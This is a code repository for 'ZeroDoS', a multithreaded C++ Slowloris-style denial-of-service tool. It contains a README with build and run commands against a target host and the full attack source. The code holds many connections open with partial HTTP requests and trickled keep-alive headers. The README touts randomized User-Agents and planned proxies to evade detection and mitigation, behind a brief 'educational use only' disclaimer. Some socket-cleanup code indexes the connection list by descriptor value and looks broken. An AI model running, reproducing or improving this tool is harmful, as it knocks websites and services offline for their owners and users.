├── LICENSE ├── README.md └── ZeroDoS.cxx /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2024 Mr-Pstar7 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # ZeroDoS 2 | 3 | ## Introduction 4 | 5 | ZeroDoS is a powerful Denial-of-Service (DoS) tool written in C++. It introduces multithreading and customization options, making it a more efficient and versatile tool for conducting DoS attacks. 6 | 7 | ## Installation 8 | ```bash 9 | Linux 10 | sudo apt install gcc g++ -y 11 | git clone https://github.com/Mr-Pstar7/ZeroDos 12 | cd ZeroDos 13 | g++ ZeroDoS.cxx -o zerodos 14 | ./zerodos www.example.com 80 1000 200 15 | 16 | Termux: 17 | pkg install gcc g++ -y 18 | git clone https://github.com/Mr-Pstar7/ZeroDos 19 | cd ZeroDos 20 | g++ ZeroDoS.cxx -o zerodos 21 | ./zerodos www.example.com 80 1000 200 22 | ``` 23 | ## Features 24 | * **Multithreading:** ZeroDoS utilizes multiple threads to establish connections, significantly improving the speed and efficiency of the attack. 25 | * **Customization:** With this tools, you have control over various parameters to tailor the attack according to your needs: 26 | * **Target:** The IP address or hostname of the target. 27 | * **Port:** The target port number. 28 | * **Max_socks:** The maximum number of sockets to open. 29 | * **Threads:** The number of threads to use. 30 | * **Min_delay:** [Optional] The minimum delay between each character (default:5ms). 31 | * **Max_delay:** [Optional] The maximum delay between each character (default:10ms). 32 | * **Delay_keep_alive:** [Optional] The delay between sending Keep-Alive headers (default:1 second). 33 | * **Delay_print_details:** [Optional] The delay for printing attack details (default:10 seconds). 34 | * **Random User-Agent:** Each request sent by ZeroDoS includes a randomly generated User-Agent header, making it more challenging to detect and mitigate the attack. 35 | * **Proxies (Coming Soon):** In future updates, ZeroDoS will include a proxy feature, allowing you to use multiple proxies simultaneously, further enhancing anonymity and making detection even harder. 36 | 37 | ## Usage 38 | 39 | To use ZeroDoS, follow the instructions below: 40 | 41 | ```bash 42 | Usage: ./zerodos target port max_socks threads 43 | Example : ./zerodos www.example.com 80 1000 15 44 | 45 | Options: 46 | -h, --help Show help message and exit 47 | 48 | Input Information: 49 | target : The target IP address or hostname 50 | port : The target port number 51 | max_socks : The maximum number of sockets to open 52 | threads : The number of threads to use 53 | min_delay : [Optional] The minimum delay between each character (default:5ms) 54 | max_delay : [Optional] The maximum delay between each character (default:10ms) 55 | delay_keep_alive : [Optional] The delay between sending Keep-Alive headers (default:1 second) 56 | delay_print_details : [Optional] The delay for printing attack details (default:10 seconds) 57 | ``` 58 | 59 | ## Disclaimer 60 | 61 | Please note that the use of ZeroDoS or any other DoS tool for malicious purposes is strictly prohibited. This tool is intended for educational and testing purposes only. The author and contributors are not responsible for any misuse or damage caused by this tool. 62 | 63 | ## Get Involved 64 | 65 | If you are interested in contributing to ZeroDoS or have any suggestions, feel free to reach out. Together, let's make it an even more powerful tool! 66 | 67 | ## MY SOCIAL MEDIA 68 |

69 | Mr. Pstar7 70 | Mr. PSTAR7 71 | Mr. Pstar7 72 | Mr. Pstar7 73 | Mr. Pstar7 74 | Mr. Pstar7 75 | Mr. Pstar7 height= 76 |

77 | 78 | 79 | 80 | 🌟 Star the project and show your support! 81 | -------------------------------------------------------------------------------- /ZeroDoS.cxx: -------------------------------------------------------------------------------- 1 | /*Bagian Include*/ 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | #include 17 | #include 18 | 19 | using namespace std; 20 | class ZeroSlowloris 21 | { 22 | public: 23 | /*Variables*/ 24 | vector user_agents = { 25 | "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36", 26 | "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36", 27 | "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Safari/602.1.50", 28 | "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:49.0) Gecko/20100101 Firefox/49.0", 29 | "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36", 30 | "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36", 31 | "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36", 32 | "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/602.2.14 (KHTML, like Gecko) Version/10.0.1 Safari/602.2.14", 33 | "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Safari/602.1.50", 34 | "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.79 Safari/537.36 Edge/14.14393", 35 | "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36", 36 | "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36", 37 | "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36", 38 | "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36", 39 | "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0", 40 | "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36", 41 | "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36", 42 | "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36", 43 | "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36", 44 | "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0", 45 | "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko", 46 | "Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.0", 47 | "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36", 48 | "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36", 49 | "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:49.0) Gecko/20100101 Firefox/49.0"}; 50 | 51 | vector socket_connections; 52 | //int running_connections; 53 | int closed_connections = 0; 54 | int total_requests_sent = 0; 55 | 56 | string targetIP; 57 | string host; 58 | int port; 59 | int threads; 60 | int max_sockets; 61 | int given_socks; 62 | 63 | int min_delay; 64 | int max_delay; 65 | 66 | int delay_print_details; 67 | int delay_keep_alive; 68 | //Constructer 69 | ZeroSlowloris(string target_IP, int port, int num_sockets, int threads, int min_delay, int max_delay, int delay_keep_alive, int delay_print_details, string host) 70 | { 71 | this->targetIP = target_IP; 72 | this->host = host; 73 | this->port = port; 74 | this->threads = threads; 75 | this->max_sockets = num_sockets; 76 | this->given_socks = num_sockets; 77 | 78 | this->min_delay = min_delay; 79 | this->max_delay = max_delay; 80 | 81 | this->delay_keep_alive = delay_keep_alive; 82 | this->delay_print_details = delay_print_details; 83 | }; 84 | /*Methods*/ 85 | 86 | void socketInitialization(string IP, int port); 87 | void sendKeepAliveHeaders(int socket_index); 88 | 89 | void createSockets(int socks, int threads); 90 | void sendKeepAlive(); 91 | void startAttack(); 92 | void showDetails(std::chrono::high_resolution_clock::time_point start_time); 93 | 94 | mutex locker; 95 | }; 96 | 97 | int random_number(int min, int max) 98 | { 99 | // Generate a random number between min and max 100 | srand(time(NULL)); 101 | return min + rand() % (max - min + 1); 102 | } 103 | 104 | int setKeepAlive(int sockfd, int keepalive, int keepidle, int keepintvl, int keepcnt) 105 | { 106 | int optval = 1; 107 | if (setsockopt(sockfd, SOL_SOCKET, SO_KEEPALIVE, &optval, sizeof(optval)) == -1) 108 | { 109 | perror("setsockopt"); 110 | return -1; 111 | } 112 | if (setsockopt(sockfd, IPPROTO_TCP, TCP_KEEPIDLE, &keepidle, sizeof(keepidle)) == -1) 113 | { 114 | perror("setsockopt"); 115 | return -1; 116 | } 117 | if (setsockopt(sockfd, IPPROTO_TCP, TCP_KEEPINTVL, &keepintvl, sizeof(keepintvl)) == -1) 118 | { 119 | perror("setsockopt"); 120 | return -1; 121 | } 122 | if (setsockopt(sockfd, IPPROTO_TCP, TCP_KEEPCNT, &keepcnt, sizeof(keepcnt)) == -1) 123 | { 124 | perror("setsockopt"); 125 | return -1; 126 | } 127 | return 0; 128 | } 129 | 130 | void ZeroSlowloris::socketInitialization(string IP, int port) 131 | { 132 | // Create a socket 133 | int socket_fd = socket(AF_INET, SOCK_STREAM, 0); 134 | if (socket_fd == -1) 135 | { 136 | // perror("socket"); 137 | close(socket_fd); 138 | return; 139 | } 140 | 141 | // Connect to the server 142 | struct sockaddr_in addr; 143 | addr.sin_family = AF_INET; 144 | addr.sin_port = htons(port); 145 | if (inet_pton(AF_INET, IP.c_str(), &(addr.sin_addr)) <= 0) 146 | { 147 | perror("inet_pton"); 148 | close(socket_fd); 149 | return; 150 | } 151 | 152 | if (connect(socket_fd, (struct sockaddr *)&addr, sizeof(addr)) == -1) 153 | { 154 | perror("connect"); 155 | close(socket_fd); 156 | // return; 157 | } 158 | else 159 | { 160 | // Send the HTTP request 161 | string request = "GET /?"; 162 | request += to_string(random_number(1, 10000)) + " HTTP/1.1\r\n"; 163 | request += "Host: " + host + "\r\n"; 164 | try 165 | { 166 | if (!user_agents.empty()) 167 | { 168 | size_t index = random_number(0, user_agents.size()); 169 | if (index < user_agents.size()) 170 | { 171 | string ua = user_agents[index]; 172 | request += "User-Agent: " + ua + "\r\n"; 173 | } 174 | } 175 | } 176 | catch (...) 177 | { 178 | } 179 | request += "Accept-Language: en-US,en;q=0.5\r\n"; 180 | request += "Connection: keep-alive"; 181 | 182 | // Initialize the bytes sent variable 183 | size_t bytes_sent = 0; 184 | 185 | // Append the socket to the vector array 186 | locker.lock(); 187 | total_requests_sent++; 188 | socket_connections.push_back(socket_fd); 189 | locker.unlock(); 190 | 191 | // Send the request slowly 192 | for (size_t i = 0; i < request.length(); i++) 193 | { 194 | try 195 | { 196 | if (send(socket_fd, &request[i], 1, 0) == -1) 197 | { 198 | // The character was not sent successfully 199 | // Remove the socket from the vector array 200 | locker.lock(); 201 | try 202 | { 203 | close(socket_connections[socket_fd]); 204 | } 205 | catch (...) 206 | { 207 | } 208 | //cout<<"closed socket=-1 req"; 209 | socket_connections.erase(socket_connections.begin() + socket_fd); 210 | socket_connections.shrink_to_fit(); 211 | closed_connections++; 212 | locker.unlock(); 213 | break; 214 | } 215 | } 216 | catch (...) 217 | { 218 | // The character was not sent successfully 219 | // Remove the socket from the vector array 220 | locker.lock(); 221 | try 222 | { 223 | close(socket_connections[socket_fd]); 224 | } 225 | catch (...) 226 | { 227 | } 228 | //cout<<"closed socket=-1 req"; 229 | socket_connections.erase(socket_connections.begin() + socket_fd); 230 | socket_connections.shrink_to_fit(); 231 | closed_connections++; 232 | locker.unlock(); 233 | break; 234 | } 235 | 236 | // Increment the bytes sent variable 237 | bytes_sent++; 238 | // Sleep for a random amount of time between min_delay and max_delay milliseconds 239 | if (max_delay != 0) 240 | { 241 | usleep(random_number(min_delay, max_delay)); 242 | } 243 | } 244 | } 245 | } 246 | 247 | void ZeroSlowloris::sendKeepAliveHeaders(int socket_index) 248 | { 249 | // Generate a random number between1 and5000 250 | string random_number_string = to_string(random_number(1, 5000)); 251 | 252 | // Combine the `"X-a: "` header with the random number 253 | string header = "\r\nX-a: " + random_number_string; 254 | 255 | // Initialize the bytes sent variable 256 | size_t bytes_sent = 0; 257 | 258 | // Send the header to the server slowly 259 | for (size_t i = 0; i < header.length(); i++) 260 | { 261 | try 262 | { 263 | if (send(socket_connections[socket_index], &header[i], 1, 0) == -1) 264 | { 265 | // The character was not sent successfully 266 | // Remove the socket from the vector array 267 | locker.lock(); 268 | try 269 | { 270 | close(socket_connections[socket_index]); 271 | } 272 | catch (...) 273 | { 274 | } 275 | //cout<<"closed socket=-1 head"; 276 | socket_connections.erase(socket_connections.begin() + socket_index); 277 | socket_connections.shrink_to_fit(); 278 | closed_connections++; 279 | locker.unlock(); 280 | break; 281 | } 282 | } 283 | catch (...) 284 | { 285 | // The character was not sent successfully 286 | // Remove the socket from the vector array 287 | locker.lock(); 288 | try 289 | { 290 | close(socket_connections[socket_index]); 291 | } 292 | catch (...) 293 | { 294 | } 295 | //cout<<"closed socket=-1 head"; 296 | socket_connections.erase(socket_connections.begin() + socket_index); 297 | socket_connections.shrink_to_fit(); 298 | closed_connections++; 299 | locker.unlock(); 300 | break; 301 | } 302 | 303 | // Increment the bytes sent variable 304 | bytes_sent++; 305 | //cout< threads_array; 317 | int counter = 0; 318 | 319 | while (counter < socks) 320 | { 321 | int sockets_per_thread = socks - counter < threads ? socks - counter : threads; 322 | // Create a thread for each iteration 323 | for (int i = 0; i < sockets_per_thread; i++) 324 | { 325 | threads_array.push_back(std::thread([this] { 326 | // Create a socket 327 | socketInitialization(targetIP, port); 328 | })); 329 | counter++; 330 | } 331 | 332 | // Join the threads 333 | for (auto &thread : threads_array) 334 | { 335 | thread.join(); 336 | } 337 | 338 | threads_array.clear(); 339 | } 340 | } 341 | /* 342 | void ZeroSlowloris::createSockets(int socks, int threads) { 343 | if (socks > threads) { 344 | // Create a thread pool 345 | vector < thread > threads_array; 346 | // Start the threads 347 | for (int i = 0; i < threads; i++) { 348 | threads_array.push_back(std::thread([this, socks, threads] { 349 | // Create sockets 350 | for (int i = 0; i < socks / threads; i++) { 351 | // Create a socket 352 | socketInitialization(targetIP, port); 353 | } 354 | })); 355 | } 356 | //cout< 10) { 365 | // Set lower number of threads 366 | int threads = socks - 5; 367 | createSockets(socks, threads); 368 | } 369 | else 370 | { 371 | for (int i = 0; i < socks; i++) { 372 | // Create a socket 373 | socketInitialization(targetIP, port); 374 | } 375 | } 376 | } 377 | } 378 | */ 379 | 380 | void ZeroSlowloris::sendKeepAlive() 381 | { 382 | // Create a thread pool 383 | vector threads_array; 384 | 385 | // Start the threads 386 | for (int i = 0; i < threads; i++) 387 | { 388 | threads_array.push_back(std::thread([this, i] { 389 | // Send keep-alive headers 390 | for (int j = i; j < socket_connections.size(); j += threads) 391 | { 392 | sendKeepAliveHeaders(socket_connections[j]); 393 | //cout << "Soc(" << j << ")" << endl; 394 | } 395 | })); 396 | } 397 | 398 | // Join the threads 399 | for (auto &thread : threads_array) 400 | { 401 | thread.join(); 402 | } 403 | } 404 | 405 | void ZeroSlowloris::showDetails(std::chrono::high_resolution_clock::time_point start_time) 406 | { 407 | // Measure the elapsed time in seconds with a precision of 0.000 408 | auto now = std::chrono::high_resolution_clock::now(); 409 | std::chrono::duration elapsed_seconds = now - start_time; 410 | 411 | static bool msg_print = false; 412 | 413 | if (given_socks == socket_connections.size() && !msg_print) 414 | { 415 | std::cout << "\n[+]Time taken to create " << max_sockets << " sockets: " 416 | << std::fixed << std::setprecision(4) << elapsed_seconds.count() << " sec\n\n"; 417 | msg_print = true; 418 | } 419 | 420 | // Print the number of alive connections and the number of closed connections with the elapsed time 421 | std::cout << "[+]Alive-Sockets: " << socket_connections.size() 422 | << " [+]Closed-Sockets: " << closed_connections<< "[+]Elapsed Time: " << std::fixed << std::setprecision(4) << elapsed_seconds.count() << " sec\r"; 423 | std::cout.flush(); 424 | /* 425 | if (elapsed_seconds.count() > 300) 426 | { 427 | std::cout << "\n\n[+]Demo version of ZeroSlowloris has reached the time limit. Exiting program.\n"; 428 | exit(0); 429 | }*/ 430 | } 431 | 432 | void ZeroSlowloris::startAttack() 433 | { 434 | while (true) 435 | { 436 | int socks_to_create = max_sockets - socket_connections.size(); 437 | if (socks_to_create < 20) 438 | { 439 | socks_to_create += 150; 440 | max_sockets += 150; 441 | } 442 | if (socks_to_create > 0) 443 | { 444 | cout << "\033[F"; // Move cursor up one line 445 | cout << "[+]Creating: " << socks_to_create << " sockets\n"; 446 | createSockets(socks_to_create, threads); 447 | } 448 | 449 | sleep(delay_keep_alive); 450 | cout << "\033[F"; // Move cursor up one line 451 | cout << "Sending keep alive headers\n"; 452 | sendKeepAlive(); 453 | } 454 | } 455 | 456 | void printHelp() 457 | { 458 | std::cout << "Usage : ./zerodos target port max_socks threads [options]\n" 459 | << "Example: ./zerodos www example.com 80 1000 15\n" 460 | << " \n" 461 | << "Options:\n" 462 | << " -h, --help Show help message and exit\n" 463 | << "\nInput Information:\n" 464 | << " target : The target IP address or hostname\n" 465 | << " port : The target port number\n" 466 | << " max_socks : The maximum number of sockets to open\n" 467 | << " threads : The number of threads to use\n" 468 | << " min_delay : [Optional] The minimum delay between each character (default: disabled)\n" 469 | << " max_delay : [Optional] The maximum delay between each character (default: disabled)\n" 470 | << " delay_keep_alive : [Optional] The delay between sending Keep-Alive header (default: 1second)\n" 471 | << " delay_print_details : [Optional] The delay for printing attack details (default: 100ms)\n" 472 | << "\nAuthor: MrPstar7\n"; 473 | } 474 | 475 | string resolveIPAddress(const string &domain) 476 | { 477 | struct addrinfo hints, 478 | *res; 479 | memset(&hints, 0, sizeof(hints)); 480 | hints.ai_family = AF_INET; 481 | 482 | if (getaddrinfo(domain.c_str(), nullptr, &hints, &res) != 0) 483 | { 484 | std::cerr << "Failed to resolve IP address for " << domain << std::endl; 485 | return ""; 486 | } 487 | 488 | struct sockaddr_in *addr = (struct sockaddr_in *)res->ai_addr; 489 | char ip[INET_ADDRSTRLEN]; 490 | inet_ntop(AF_INET, &(addr->sin_addr), ip, INET_ADDRSTRLEN); 491 | 492 | freeaddrinfo(res); 493 | 494 | return std::string(ip); 495 | } 496 | 497 | bool isIPAddress(const std::string &ipAddress) 498 | { 499 | struct sockaddr_in sa; 500 | return (inet_pton(AF_INET, ipAddress.c_str(), &(sa.sin_addr)) != 0); 501 | } 502 | 503 | int main(int argc, char *argv[]) 504 | { 505 | // Ignore SIGPIPE signal 506 | signal(SIGPIPE, SIG_IGN); 507 | 508 | std::string target = "127.0.0.1"; 509 | int port = 8000; 510 | int max_socks = 21; 511 | int threads = 6; 512 | int min_delay = 0 * 1000; 513 | int max_delay = 0 * 1000; 514 | int delay_keep_alive = 5; 515 | int delay_print_details = 100000; 516 | 517 | // Check if the number of arguments is sufficient 518 | if (argc < 5) 519 | { 520 | std::cout << "Insufficient arguments.\n"; 521 | printHelp(); 522 | return 1; 523 | } 524 | 525 | // Parse the necessary arguments 526 | target = argv[1]; 527 | port = std::stoi(argv[2]); 528 | max_socks = std::stoi(argv[3]); 529 | threads = std::stoi(argv[4]); 530 | 531 | // Parse the optional arguments if provided 532 | if (argc > 5) 533 | { 534 | min_delay = std::stoi(argv[5]) * 1000; 535 | } 536 | if (argc > 6) 537 | { 538 | max_delay = std::stoi(argv[6]) * 1000; 539 | } 540 | if (argc > 7) 541 | { 542 | delay_keep_alive = std::stoi(argv[7]); 543 | } 544 | if (argc > 8) 545 | { 546 | delay_print_details = std::stoi(argv[8]); 547 | } 548 | //cout<<"This is demo/free version of ZeroSlowloris// So wait 60sec:)\n"; 549 | //sleep(60); 550 | std::string ipAddress = target; 551 | if (!isIPAddress(target)) 552 | { 553 | ipAddress = resolveIPAddress(target); 554 | if (ipAddress.empty()) 555 | { 556 | std::cerr << "IP not resolved for given domain" << std::endl; 557 | return 1; 558 | } 559 | std::cout << "Resolved IP address for " << target << ": " << ipAddress << std::endl; 560 | } 561 | 562 | ZeroSlowloris Slowloris(ipAddress, port, max_socks, threads, min_delay, max_delay, delay_keep_alive, delay_print_details, target); 563 | 564 | 565 | std::chrono::high_resolution_clock::time_point start_time = std::chrono::high_resolution_clock::now(); 566 | 567 | // Create a thread to run the showDetails() method 568 | std::thread showDetailsThread([&Slowloris, delay_print_details, start_time] { 569 | cout<<'\n'; 570 | while (true) 571 | { 572 | Slowloris.showDetails(start_time); 573 | usleep(delay_print_details); 574 | } 575 | }); 576 | 577 | // Start the attack 578 | cout<